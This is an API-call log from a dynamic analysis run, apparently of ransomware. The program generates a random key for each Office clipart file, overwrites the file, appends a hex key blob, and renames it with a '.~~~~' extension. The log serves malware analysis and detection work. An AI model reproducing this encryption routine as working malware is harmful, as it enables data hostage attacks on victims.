	[0113.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.325] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23331467281) returned 1
	[0113.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad24dbd0, dwHighDateTime=0x1d60e1e)) 
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830e20
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830e20 | out: hHeap=0x300000) returned 1
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f5578
	[0113.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2834ff0
	[0113.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.325] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.325] GetLastError () returned 0x0
	[0113.326] GetLastError () returned 0x0
	[0113.326] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.326] GetLastError () returned 0x0
	[0113.326] GetLastError () returned 0x0
	[0113.328] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.328] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7ce0, lpOverlapped=0x0) returned 1
	[0113.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.329] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.330] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.330] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.330] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.330] CloseHandle (hObject=0x138) returned 1
	[0113.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f5578
	[0113.330] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.~~~~")) returned 1
	[0113.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.331] GetLastError () returned 0x0
	[0113.332] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.333] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.333] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.333] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23332308433) returned 1
	[0113.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad273d30, dwHighDateTime=0x1d60e1e)) 
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830e58
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830e58 | out: hHeap=0x300000) returned 1
	[0113.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f5578
	[0113.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835088
	[0113.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f5578 | out: hHeap=0x300000) returned 1
	[0113.334] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.334] GetLastError () returned 0x0
	[0113.334] GetLastError () returned 0x0
	[0113.334] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.334] GetLastError () returned 0x0
	[0113.334] GetLastError () returned 0x0
	[0113.421] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff83f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.422] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7c08, lpOverlapped=0x0) returned 1
	[0113.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0113.422] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.423] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.423] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.423] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.423] CloseHandle (hObject=0x138) returned 1
	[0113.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.~~~~")) returned 1
	[0113.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.502] GetLastError () returned 0x0
	[0113.502] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.503] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.504] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.504] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23349387725) returned 1
	[0113.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad416c50, dwHighDateTime=0x1d60e1e)) 
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839220
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839220 | out: hHeap=0x300000) returned 1
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835120
	[0113.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.505] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.505] GetLastError () returned 0x0
	[0113.505] GetLastError () returned 0x0
	[0113.505] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.505] GetLastError () returned 0x0
	[0113.505] GetLastError () returned 0x0
	[0113.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9b39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.507] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x64c7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x64c7, lpOverlapped=0x0) returned 1
	[0113.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.508] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.508] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.508] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.508] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.508] CloseHandle (hObject=0x138) returned 1
	[0113.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.509] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.~~~~")) returned 1
	[0113.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.509] GetLastError () returned 0x0
	[0113.510] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.511] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.511] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23350119098) returned 1
	[0113.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad416c50, dwHighDateTime=0x1d60e1e)) 
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839258
	[0113.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839258 | out: hHeap=0x300000) returned 1
	[0113.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835bd0
	[0113.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.512] GetLastError () returned 0x0
	[0113.512] GetLastError () returned 0x0
	[0113.512] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.512] GetLastError () returned 0x0
	[0113.512] GetLastError () returned 0x0
	[0113.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe90c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.515] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x16f40, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x16f40, lpOverlapped=0x0) returned 1
	[0113.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.517] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.517] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.517] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.517] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.517] CloseHandle (hObject=0x138) returned 1
	[0113.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.~~~~")) returned 1
	[0113.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.519] GetLastError () returned 0x0
	[0113.519] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0113.520] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0113.520] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0113.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0113.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0113.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0113.520] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23351040125) returned 1
	[0113.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xad43cdb0, dwHighDateTime=0x1d60e1e)) 
	[0113.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0113.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0113.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0113.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2839290
	[0113.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0113.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2839290 | out: hHeap=0x300000) returned 1
	[0113.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0113.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0113.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29ceee8
	[0113.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0113.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835c68
	[0113.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.521] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0113.521] GetLastError () returned 0x0
	[0113.521] GetLastError () returned 0x0
	[0113.521] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0113.521] GetLastError () returned 0x0
	[0113.521] GetLastError () returned 0x0
	[0113.524] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff3c7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.524] WriteFile (in: hFile=0x138, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xc382, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0xc382, lpOverlapped=0x0) returned 1
	[0113.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0113.525] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.526] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0113.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0113.526] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0113.526] CloseHandle (hObject=0x138) returned 1
	[0113.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29ceee8
	[0113.526] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.~~~~")) returned 1
	[0113.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29ceee8 | out: hHeap=0x300000) returned 1
	[0113.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0113.527] GetLastError () returned 0x0
	[0113.528] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
